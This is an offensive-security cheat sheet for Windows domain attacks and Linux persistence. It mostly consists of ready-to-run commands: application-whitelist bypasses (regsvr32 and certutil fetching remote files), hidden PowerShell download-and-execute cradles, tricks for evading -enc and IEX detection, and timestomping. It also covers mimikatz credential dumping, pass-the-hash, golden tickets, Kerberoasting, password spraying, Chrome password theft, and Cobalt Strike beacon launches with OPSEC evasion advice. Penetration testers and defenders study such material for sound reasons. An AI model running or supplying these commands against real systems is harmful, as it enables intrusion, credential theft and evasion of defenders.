Get-ChildItem -Path $path |
ForEach-Object {
$_.CreationTime = $date
$_.LastAccessTime = $date
$_.LastWriteTime = $date }
} #end function Set-FileTimeStamps
SubTee Collection of Whitelist Bypass Techniques https://bitbucket.org/jsthyer/wevade.git
Version .0.0.3
1. IEExec -This technique may work in certain environments. Its relies on the fact that many organizations trust executables signed
by Microsoft. We can misuse this trust by launching a specially crafted .NET application.
Example Here: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
2. Rundll32.exe
3. ClickOnce Applications dfsvc.exe dfshim.dll
4. XBAP - XML Browser Applications WPF PresentationHost.exe
5. MD5 Hash Collision
http://www.mathstat.dal.ca/~selinger/md5collision/
6. PowerShell - Specifically Reflective Execution
http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf
7. .HTA Application Invoke PowerShell Scripts
Launched by mshta.exe, bypasses IE security settings as well.
8. bat, vbs, ps1
1. cmd.exe /k < script.txt
2. cscript.exe //E:vbscript script.txt
3. Get-Content script.txt | iex
9. Malicious Troubleshooting packs - MSDT.exe
Reference: http://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/
Thanks to @nberthaume, @Killswitch_GUI
10. InstallUtil.exe
A signed MS binary that loads assemblies and executes - One of the best.
Examples here: https://gist.github.com/subTee
11. Regsvcs/Regasm
See: https://gist.github.com/subTee/fb09ef511e592e6f7993
These 2 are Excellent.
12. regsvr32.exe
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
This one is just simply amazing...
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
13. Msbuild.exe
http://subt0x10.blogspot.com/2016/09/bypassing-application-whitelisting.html
https://gist.github.com/subTee/7937a8ef07409715f15b84781e180c46
File download
certutil -urlcache -split -f http://example.com/file
www.joeware.net/freetools/tools/adfind/
AdFind.exe -u [email protected] -up password -h 10.4.128.40:389 -b dc=domain,dc=com -f "objectcategory=computer" > domain_computers.txt
AdFind.exe -u [email protected] -up password -h 10.4.128.40:389 -b dc=domain,dc=com -f "objectcategory=computer" distinguishedName dNSHostName description whenchanged operatingSystem operatingSystemVersion > domain_computers_light.txt
AdFind.exe -u [email protected] -up pass -h 10.4.128.40:389 -b dc=domain,dc=com -f "objectcategory=user" samaccountname description pwdlastset orclcommonattribute > domain_users_light.txt
List help for cmdlet: Get-Help [cmdlet] -full
List available properties and methods: Get-Member
For-each loop: ForEach-Object { $_ }
Search for string (like grep): Select-String -path [file] -pattern [string]
Timestomp
$file=(gi c:\file.exe);
$date='01/03/2009 12:12 pm';
$file.LastWriteTime=$date;
$file.LastAccessTime=$date;
$file.CreationTime=$date
Show last system boot time
Get-WmiObject win32_operatingsystem | select csname, @{LABEL='LastBootUpTime'; EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}}
Wrap binary execution in a powershell loop
powershell foreach ($target in (get-content c:\users\username\appdata\local\temp\hosts_da_loggedin_unique.txt)) { "[*] $Target:"; (c:\programdata\sd.exe ./administrator@$target -hashes aad3b435b51404eeaad3b435b51404ee:a4bab1c7d4bef62d4c22043ddbf1312c) }`
Download a file
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};(new-object system.net.webclient).downloadfile("https://www.mydomain.com/file","C:\Users\username\AppData\Local\Temp\file.txt")
Encode string
echo "iex (New-Object Net.WebClient).DownloadString('http://192.168.1.1:80/file')" | iconv --to-code UTF-16LE | base64 -w 0
List recently modified files in path (U:)
Get-Childitem u:\ -Recurse | where-object {!($_.psiscontainer)} | where { $_.LastWriteTime -gt $(Get-Date).AddDays(-1) } | foreach {"$($_.LastWriteTime) :: $($_.Fullname) " }
List Files
Select-String -Path c:\fso\*.txt, c:\fso\*.log -pattern ed
List First 100 Files
Get-ChildItem -Path XXX |Select -First 100 Fullname
List a Process's Loaded Modules (DLL)
get-process -id 1234|select -expand modules
Remote Command Execution using MMC
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Get LocalAccountTokenFilterPolicy (Determine if you can authenticate to admin resources over the network, i.e. C$,ADMIN$)
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ |Select LocalAccountTokenFilterPolicy |fl
Test User Credentials
powerpick $password = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force;$cred= New-Object System.Management.Automation.PSCredential ("domain\name", $password);
Search for SSN
https://technet.microsoft.com/en-us/library/2008.04.securitywatch.aspx
$SSN_Regex = " [0-9]{3}[-| ][0-9]{2}[-| ][0-9]{4}" ; Get-ChildItem . -Recurse -exclude *.exe,*.dll| Select-String -Pattern $SSN_Regex | Select-String -Pattern $SSN_Regex| Select-Object Path,Filename,Matches |ft -auto|out-string -width 200; "[*] SSN Search Complete!"
Enumerate the use of the Windows Server Update Services (WSUS)
Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Select-Object -ExpandProperty WUServer
Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" |Select-Object -ExpandProperty WUStatusServer
Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" |Select-Object -ExpandProperty UseWUServer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
Get unquoted service paths
gwmi win32_service |Select pathname | Where {($_.pathname -ne $null)} | Where {-not $_.pathname.StartsWith("`"")} | Where {($_.pathname.Substring(0, $_.pathname.IndexOf(".") +4)) -match ".* .*"}
Find-Files -searchBase "i:\" -searchTerms "*web.xml*,*web.config*,*password*,*tomcat-users.xml*" -LogPath "C:\Users\username\AppData\Local\Temp"
Run Local and Domain enumeration functions on the local host.
Get-Enumeration -Path . -Local -Domain
powershell -nop -w hidden -c "iex (New-Object Net.WebClient).DownloadString('http://192.168.1.1:80/file')"
Author: Dave Kennedy Source: https://www.trustedsec.com/blog/circumventing-encodedcommand-detection-powershell/
Avoid detection of -enc
powershell -window hidden -C "set-variable -name "C" -value "-"; set-variable -name "s" -value "e"; set-variable -name "q" -value "c"; set-variable -name "P" -value ((get-variable C).value.toString()+(get-variable s).value.toString()+(get-variable q).value.toString()) ; powershell (get-variable P).value.toString() <b64encodedcommandhere>"
Avoid detection of IEX
powershell -window hidden -C "set-variable -name "LB" -value "I"; set-variable -name "I" -value "E"; set-variable -name "V" -value "X"; set-variable -name "wP" -value ((get-variable LB).value.toString()+(get-variable I).value.toString()+(get-variable V).value.toString()) ; powershell (get-variable wP).value.toString() ('<YOURINVOKEEXPRESSIONSTUFFHERE>')"
iex((new-object system.net.webclient).downloadstring('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/PowerShell/BloodHound.ps1'));Invoke-Bloodhound -CSVFolder c:\temp -CSVPrefix <prefix>
Invoke-BloodHound -DomainController <domain IP> -Domain <FQDN> -CSVFolder C:\users\public\libraries -CSVPrefix <prefix> -CollectionMethod Stealth
https://github.com/putterpanda/mimikittenz
mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.
mimikittenz can also easily extract other kinds of juicy info from target processes using regex patterns including but not limited to:
- TRACK2 (CreditCard) data from merchant/POS processes
- PII data
- Encryption Keys & All the other goodstuff
Execution
Invoke-Mimikittenz
Customizations
Custom regex - The syntax for adding custom regex is as follows:
[mimikittenz.MemProcInspector]::AddRegex("<NameOfTarget>","<regex_here>")
Custom target process - Just append your target proccess name into the array:
[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")
Performs multiple local host privilege escalation checks for common Windows misconfigurations.
Invoke-AllChecks
See cheat sheet for more commands
- Requires domain user privileges
Find Administrative users logged in across the domain - default group = Domain Admins)
Invoke-UserHunter -Threads 15 -NoPing [-GroupName “Enterprise Admins”]
Invoke-UserHunter -Threads 20 -GroupName "Domain Admins" -SearchForest -CheckAccess
Find User (Stealthy via Fileshares)
Invoke-UserHunter -Stealth -Threads 5 -NoPing [-GroupName “Enterprise Admins”] [-UserName "svcAccount"]
Get domain user info
Get-NetUser [-UserName john]
Get-NetUser -Domain <domain> | Select-Object objectsid,lockouttime,samaccounttype,accountexpires,objectclass,useraccountcontrol,@{Name='memberof';Expression={[string]::join(";",($_.memberof))}},info,distinguishedname,adspath,cn,pwdlastset,objectguid,whencreated,description,samaccountname,usnchanged,name| export-csv userprops_members.csv
Find group names
Get-NetGroup [-GroupName *admin*]
Get group members
Get-NetGroupMember [-GroupName “Domain Admins”]
Find open shares - Noisy
Invoke-ShareFinder -CheckShareAccess
Find open (non-default i.e. C$) shares by LDAP source
Invoke-ShareFinder -ComputerADSPath "LDAP://OU=Servers,OU=IT,DC=domain,DC=com" -CheckShareAccess -ExcludeStandard | Out-File -Encoding ascii c:\windows\temp\server_shares.txt
Invoke-ShareFinder -ExcludePrint -ExcludeIPC -CheckShareAccess
Find interesting files
powershell Invoke-FileFinder -ComputerName <hostname> -share share_list.txt -terms ssn,pass,sensitive,secret,admin,login,unattend*.xml,web.config,account -Threads 20 | export-csv filefinder_shares.csv
Find hosts where the current user is local admin - Noisy
Find-LocalAdminAccess
Get details of all domain computers and export to a CSV file for easy viewing
Get-computerproperty -Domain <domain.com> -properties displayname,adspath,lastlogontimestamp,operatingsystem,operatingsystemversion,@{Name='memberof';Expression={[string]::join(";",($_.memberof))}}|export-csv computerprops.csv
Get Computers with Unconstrained Delegation
Get-NetComputer -Unconstrained |ft -a
Get Users & Computers Trusted for Delegation
Get-DomainUser -TrustedtoAuth -Properties distinguisedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-DomainComputer -TrustedtoAuth -Properties distinguisedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-NetDomain - gets the name of the current user's domain
Get-NetForest - gets the forest associated with the current user's domain
Get-NetForestDomain - gets all domains for the current forest
Get-NetDomainController - gets the domain controllers for the current computer's domain
Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)
Add-NetUser - adds a local or domain user
Get-NetComputer - gets a list of all current servers in the domain
Get-NetPrinter - gets an array of all current computers objects in a domain
Get-NetOU - gets data for domain organization units
Get-NetSite - gets current sites in a domain
Get-NetSubnet - gets registered subnets for a domain
Get-NetGroup - gets a list of all current groups in a domain
Get-NetGroupMember - gets a list of all current users in a specified domain group
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Add-NetGroupUser - adds a local or domain user to a local or domain group
Get-NetFileServer - get a list of file servers used by current domain users
Get-DFSshare - gets a list of all distribute file system shares on a domain
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSession - gets active sessions on a specified server
Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta)
Get-NetProcess - gets the remote processes and owners on a remote server
Get-UserEvent - returns logon or TGT events from the event log for a specified host
Get-ADObject - takes a domain SID and returns the user, group, or computer
object associated with it
Set-ADObject - takes a SID, name, or SamAccountName to query for a specified
domain object, and then sets a specified 'PropertyName' to a
specified 'PropertyValue'
Get-GptTmpl - parses a GptTmpl.inf to a custom object
Get-NetGPO - gets all current GPOs for a given domain
Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups"
on on target machines
Find-GPOLocation - takes a user/group and makes machines they have effective
rights over through GPO enumeration and correlation
Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it
through GPO enumeration
Get-DomainPolicy - returns the default domain or DC policy
Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines
Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users
Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines
Invoke-UserEventHunter - hunts for user logon events in domain controller event logs
Get-NetDomainTrust - gets all trusts for the current user's domain
Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
Find-ForeignUser - enumerates users who are in groups outside of their principal domain
Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain
Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
Find-UserField - searches a user field for a particular term
Find-ComputerField - searches a computer field for a particular term
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain
HarmJ0y PowerView Cheat Sheet PDF HarmJ0y's PowerView 2.0 Tricks Gist
https://github.com/Kevin-Robertson/Inveigh
Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool designed to assist penetration testers that find themselves limited to a Windows system.
- The main Inveigh LLMNR/NBNS spoofer function.
Invoke-Inveigh
- Elevated Administrator or SYSTEM
- IPv4 LLMNR/NBNS spoofer with granular control
- NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB
- Basic auth cleartext credential capture over HTTP/HTTPS
- WPAD server capable of hosting a basic or custom wpad.dat file
- HTTP/HTTPS server capable of hosting limited content
- Granular control of console and file output
- Run time control
Gets files which have been indexed by Windows desktop search. Searches the Windows index on the local computer or a remote file serving computer looking for file properties or free text searching over contents
Sources: https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-PowerShell-5bca2dae https://github.com/adaptivethreat/Empire/blob/master/data/module_source/collection/Get-IndexedItem.ps1
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class User32
{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern bool LockWorkStation();
}
"@
[USER32]::LockWorkStation()
List static methods
[USER32] |get-member -static
Source: https://github.com/dafthack/MailSniper
MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.
MailSniper also includes additional modules for password spraying, and gathering the Global Address List from OWA and EWS.
Bypassing Dual Factor Authentication on OWA - http://www.blackhillsinfosec.com/?p=5396
- It appears that Outlook portals that are being protected by two-factor authentication might not be covering all of the authentication protocols to Microsoft Exchange.
- Leverages the Exchange Web Services (EWS) feature of OWA. Just have to check for the presence of mail.org.com\EWS\Exchange.asmx
Invoke-SelfSearch -Mailbox [email protected] -ExchHostname mail.domain.com -Remote
- After the credentials have been entered MailSniper will attempt to connect to the EWS URL at https://mail.domain.com/EWS/Exchange.asmx and search the user’s inbox for key terms (by default “pass”, “creds”, and “credentials”).
<smtp-mail-domain>/Autodiscover/Autodiscover.xml
or
autodiscover.<smtp-mail-domain>/Autodiscover/Autodiscover.xml
or
dig _autodiscover._tcp.<domain-name> SRV
; <<>> DiG 9.8.3-P1 <<>> _autodiscover._tcp.<domain-name>.org SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45003
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;_autodiscover._tcp.<domain-name>.org. IN SRV
;; ANSWER SECTION:
_autodiscover._tcp.<domain-name>.org. 1720 IN SRV 0 0 443 webmail.<domain-name>.org.
;; Query time: 2 msec
;; SERVER: 192.168.178.1#53(192.168.178.1)
;; WHEN: Thu Dec 1 10:40:33 2016
;; MSG SIZE rcvd: 83
Source: https://github.com/dafthack/DomainPasswordSpray
DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the user list from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!
Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass'.
Type 'Import-Module Invoke-DomainPasswordSpray.ps1'.
The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts.
The following command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
PowerShell Invoke-DomainPasswordSpray -Password Winter2016
The following command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt
PowerShell Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
UserList - Optional UserList parameter. This will be generated automatically if not specified.
Password - A single password that will be used to perform the password spray.
PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
OutFile - A file to output the results to.
Domain - A domain to spray against.
List Removeable Drives
Get-WmiObject Win32_LogicalDisk | Where-Object {($_.DriveType -eq 2) -and ($_.DeviceID -ne 'A:')} | %{"USB_PROCESS_DETECTED: " + $_.ProviderName + "`n"}
Random Execution Method
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("visio.application", "system1"))
$docs = $visio.Documents.Add("")
$docs.ExecuteLine('CreateObject("Wscript.Shell").Exec("cmd.exe")')
https://github.com/gentilkiwi/mimikatz/wiki https://adsecurity.org/?p=2362
Dump Cleartext Credentials
sekurlsa::wdigest
sekurlsa::logonpasswords
lsadump::secrets
Dump cached domain credentials
lsadump::cache
Format mscachev2 as $DCC2$10240#username#hash
cat 'mscachecreds.txt' | awk -F “:” {'print "$DCC2$10240#"$1"#"$2'}
Crack mscachev2 format with Hashcat (extremely slow)
./hashcat -m 2100 -a 0 mscachev2.dump ./wordlists/* -r rules/dive.rule
DCSYNC - Remote Hash Dumping from a Domain Controller
mimikatz lsadump::dcsync /user:domain\krbtgt
- There is also a CS built-in function for this
- Source: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
Pass the Hash
mimikatz sekurlsa::pth /user:localadmin /domain:. /ntlm:21306681c738c3ed2d615e29be1574a3 /run:powershell -w hidden
Golden Ticket Creation (File)
mimikatz kerberos::golden /user:newadmin /domain:domain.com /sid:S-1-5-21-3683589091-3492174527-1688384936 /groups:501,502,513,512,520,518,519 /krbtgt:<krbtgthash> /ticket:newadmin.tkt
Golden Ticket Creation (Pass-The-Ticket) - Create the ticket for your current session
mimikatz kerberos::golden /user:newadmin /domain:domain.com /sid:S-1-5-21-3683589091-3492174527-1688384936 /krbtgt:<krbtgthash> /ptt
To create a Golden ticket to own the parent domain, once a child domain controller is compromised you will need the following pieces:
/user:ChildDomainControllerMachineName$
/rc4: KRBTGT Hash
/sid:Child Domain SID
/domain:FQDN of Child Domain
/groups:516
/sids:ParentSID-516,S-1-5-9
/id:ID of Child Domain Controller
/ptt
Dump Google Chrome passwords
shell copy "C:\users\kobrien\appdata\local\google\chrome\user data\default\Login Data" C:\users\public\libraries\ld.dat
steal_token <user pid>
mimikatz @dpapi::chrome /in:C:\users\public\libraries\ld.dat /unprotect
Detecting Golden Ticket use on a DC
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[EventID='4768']]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
and
*[EventData[Data[@Name='ServiceName'] = 'krbtgt']]
and
*[EventData[Data[@Name='TicketEncryptionType'] = '0x17']]
</Select>
</Query>
</QueryList>
https://github.com/nidem/kerberoast https://room362.com/post/2016/kerberoast-pt1/ https://room362.com/post/2016/kerberoast-pt2/ https://room362.com/post/2016/kerberoast-pt3/
Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/host.domain.com"
Use mimikatz to export SPN Tikets once requested (Generates one file per ticket unless base64 option is used)
mimkatz kerberos::list /export
Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'
Impacket method of extracting SPN tickets and output hashes in the correct format for John via Proxychains and Beacon (Preferred)
proxychains python ./GetUserSPNs.py -request domain.com/domainuser:password -dc-ip <domain controller IP> -outputfile <out.dump>
Cracking the hashes
./hashcat -m 13100 -a 0 spns.dump ./wordlists/* -r rules/dive.rule
./john --format=krb5tgs spns.dump --wordlist=
https://adsecurity.org/?p=2362
- Passwords in SYSVOL & Group Policy Preferences
findstr /S cpassword %logonserver%\sysvol\*.xml
or use Get-GPPPasswords.ps1 from PowerSploit
- Exploit the MS14-068 Kerberos Vulnerability on a Domain Controller Missing the Patch
- Kerberos TGS Service Ticket Offline Cracking (Kerberoast)
- The Credential Theft Shuffle
- Gain access to AD Database file (ntds.dit)
- Backup locations (backup server storage, media, and/or network shares)
- Find the NTDS.dit file staged on member servers prior to promoting to Domain Controllers.
- With admin rights to virtualization host, a virtual DC can be cloned and the associated data copied offline.
Simple TCP Port Redirection
socat TCP-LISTEN:80,fork TCP:<remote host>:80
socat TCP-LISTEN:443,fork TCP:<remote host>:443
UDP Port Redirection
socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:<IPADDRESS>; echo -ne
Simple HTTP Redirect
Save as a file like the following as redirect.html and map to root "/" on your Team Server. Casual browsing to the root of your domain will then simply redirect.
<html>
<title>Google</title>
<meta http-equiv="refresh" content="0;url=https://www.googlrrrr.com" />
</html>
http://blog.cobaltstrike.com/2016/07/06/gettin-down-with-aggressor-script/ https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/DA-Watch.cna https://github.com/Und3rf10w/Aggressor-scripts
portscan 10.42.175.0/26 21,22,23,25,80,443,445,1433,3389,8080,8443
Start Remote Beacon DLL via iwmi
powerpick iwmi -class Win32_Process -name create -ArgumentList "rundll32.exe c:\users\public\libraries\smb_beacon.dll.log0,StartW"
Blog.Cobaltstrike.com - OPSEC Considerations For Beacon Commands
A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.
API-only These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.
cd
cp
download
drives
exit
getuid
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
jobkill
kill
link
ls
make_token
mkdir
mv
ppid
ps
pwd
rev2self
rm
rportfwd
socks
steal_token
timestomp
unlink
upload
House-keeping Commands The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.
cancel
checkin
clear
downloads
help
jobs
mode dns
mode dns-txt
mode dns6
mode http
note
powershell-import
sleep
socks stop
spawnto
Post-Exploitation Jobs (Process Execution + Remote Process Injection) Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:
browserpivot
bypassuac
covertvpn
dcsync
desktop
elevate
hashdump
keylogger
logonpasswords
mimikatz
net
portscan
powerpick
psinject
pth
screenshot
shspawn
spawn
ssh
ssh-key
wdigest
OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.
Process Execution These commands spawn a new process:
execute
runas
runu
OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.
Process Execution: Cmd.exe The shell command depends on cmd.exe.
The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.
OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.
Process Execution: PowerShell.exe The following commands launch powershell.exe to perform some task on your behalf.
powershell
spawnas
spawnu
winrm
wmi
OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:
spawnu has runu which runs an arbitrary command under another process.
spawnas has runas which runs an arbitrary command as another user.
powershell has powerpick, this command runs powershell scripts without powershell.exe.
It’s also possible to laterally spread without the winrm and wmi commands. Remote Process Injection
The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:
dllinject
inject
shinject
Service Creation
The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.
getsystem
psexec
psexec_psh
https://github.com/bluscreenofjeff/AggressorScripts/blob/master/powershell.cna https://bluescreenofjeff.com/2016-09-07-adding-easy-guis-to-aggressor-scripts/
https://github.com/ZonkSec/persistence-aggressor-script https://github.com/ZonkSec/persistence-aggressor-script/blob/master/persistence.cna
Cheat sheets
- https://github.com/adaptivethreat/Empire/wiki/Quickstart
- https://attackerkb.com/Powershell/Powershell_Empire
Clone GIT Repo
root@workstation:~# git clone https://github.com/adaptivethreat/Empire.git empire
Cloning into 'empire'...
Install Empire
root@workstation:~# cd empire/
root@workstation:~/empire# cd setup/
root@workstation:~/empire/setup# ./install.sh
Reading package lists... Done
Building dependency tree
Reading state information... Done
...
Successfully installed pydispatcher
Cleaning up...
[>] Enter server negotiation password, enter for random generation:
[*] Database setup completed!
root@workstation:~/empire/setup#
Start Empire
root@workstation:~/empire/setup# cd ..
root@workstation:~/empire# ./empire
Start with REST API for use with Empire Web
./empire --headless --username admin --password <PASSWORD> --restport 1337
./empire --rest --username admin --password <PASSWORD> --restport 1337
Edit default client settings in /setup/setup_database.py
Example Default Profile
"/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en"
BASH loop example
for u in `cat hosts.txt`; do
echo -n "[*] user: $u" && \
proxychains python /usr/local/bin/secretsdump.py domain/username@$u -hashes aad3b435b51404eeaad3b435b51404ee:0e493911f561a425e7a905329f4454bf |tee user_brute.log
done
BASH Find and copy files
find / -iname "passw" -print0 | xargs -I {} cp {} /new/path
find / -iname "passw" | xargs -I {} cp {} /new/path
Remove new line following ":"
awk '/:/ {printf("%s", $0); next}1' file.txt
BASH Current line reference
# Use !#:1 as second arg
cp /etc/selinux/strict/modules/active/modules/file1.pp !#:1.bak
ls /etc/selinux/strict/modules/active/modules/
file1.pp file1.pp.bak
echo test2 test3 test4 & echo !#:2
test2 test3 test4
test3
BASH repeat last arg from last cmd
cp /tmp/123.abd /etc/selinux/strict/modules/active/modules/123.pp
File not found
cp /tmp/123.abc $!
cp /tmp/123.abc /etc/selinux/strict/modules/active/modules/123.pp
BASH Get last arg parent folder
tar czvf 123xyz.tgz /etc/selinux/strict/modules/active/modules/124.pp
tar: /etc/selinux/strict/modules/active/modules/123.pp: Cannot stat: No such file or directory
tar: Error exit delayed from previous errors
ls !$:h
ls /etc/selinux/strict/modules/active/modules/
123.pp
BASH Replace chars from last command
tar czvf treat_module.tgz /etc/selinux/strict/modules/active/modules/treat_module.pp
tar: /etc/selinux/strict/modules/active/modules/treat_module.pp: Cannot stat: No such file or directory
tar: Error exit delayed from previous errors
!!:gs/treat/threat/
BASH .bashrc Function Example
function start_sshtunnel() {
ssh -A -t -p22 -L 8800:localhost:8800 [email protected] -t ssh -L 8800:localhost:80 [email protected]
}
Quick BASH format .bash_profile (mod ipconfig > ifconfig for Linux)
# .bash_profile
PATH=$PATH:/home/james/
export PATH
HISTCONTROL=ignoreboth
HISTSIZE=9000
HISTFILESIZE=9000
HISTTIMEFORMAT='%Y%m%d_%H%M%S_%zUTC '
shopt -s histappend
shopt -s checkwinsize
alias ls='ls -G'
alias grep='grep --color=auto'
alias la='ls -AlahG'
alias el='sudo $(history -p \!\!)'
alias ll='ls -alF'
alias l='ls -CF'
alias lg='ls -AlahG |grep $1'
alias netstati='lsof -P -i -n'
alias lr='ls -lahs1Sc'
alias gh='history|grep --color=auto'
alias level='echo $HLVL'
function my_ip {
# /sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'
/sbin/ifconfig eth0 | grep 'inet ' | awk '{ print $2}'
# ipconfig getifaddr en0
}
export PS1="\n\n\[\$(if [[ \$? == 0 ]]; then echo \"\[$GREEN\]✓\"; else echo \"\[$RED\]✕\"; fi)[\033[33m\]\D{%Y%m%d_%H%M%S}\[\033[m\] \[\033[36m\]\u@\h__`ipconfig getifaddr en0`__`ipconfig getifaddr en8`\[\033[m\]] \[\033[1;31m\]\n[\w]\[\033[m\] \n \$ "
Create NTLM Hash from Mac CLI
echo -n password | iconv -t UTF-16LE | openssl md4
Add SSH keys
Add SUID to world-writeable script (chmod u+s <file>)
Add init script (reboot persistence)
autostart
bash profile/rc
binary replacement
Cron
LD_PRELOAD
LKM
pam module
shared library hijacking
trap
user addition
web shell
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/linux-index.md
File execution on clean exit
tfile=/path/file
trap "python $tfile" EXIT
Command execution on clean exit
# Additional cmds run above trap
trap "some_cmd -switch" EXIT
Command execution on CTRL-C
trap "some_cmd -switch" SIGINT
# Additional cmds run below trap
Function execution on clean exit
function testexec()
{
Insert code here
}
trap testexec EXIT
Passwords in mem (note this will likely trigger an alert)
strings /dev/mem -n10 | grep -i PASS
SUID
find / -perm -u=s -type f 2>/dev/null
or
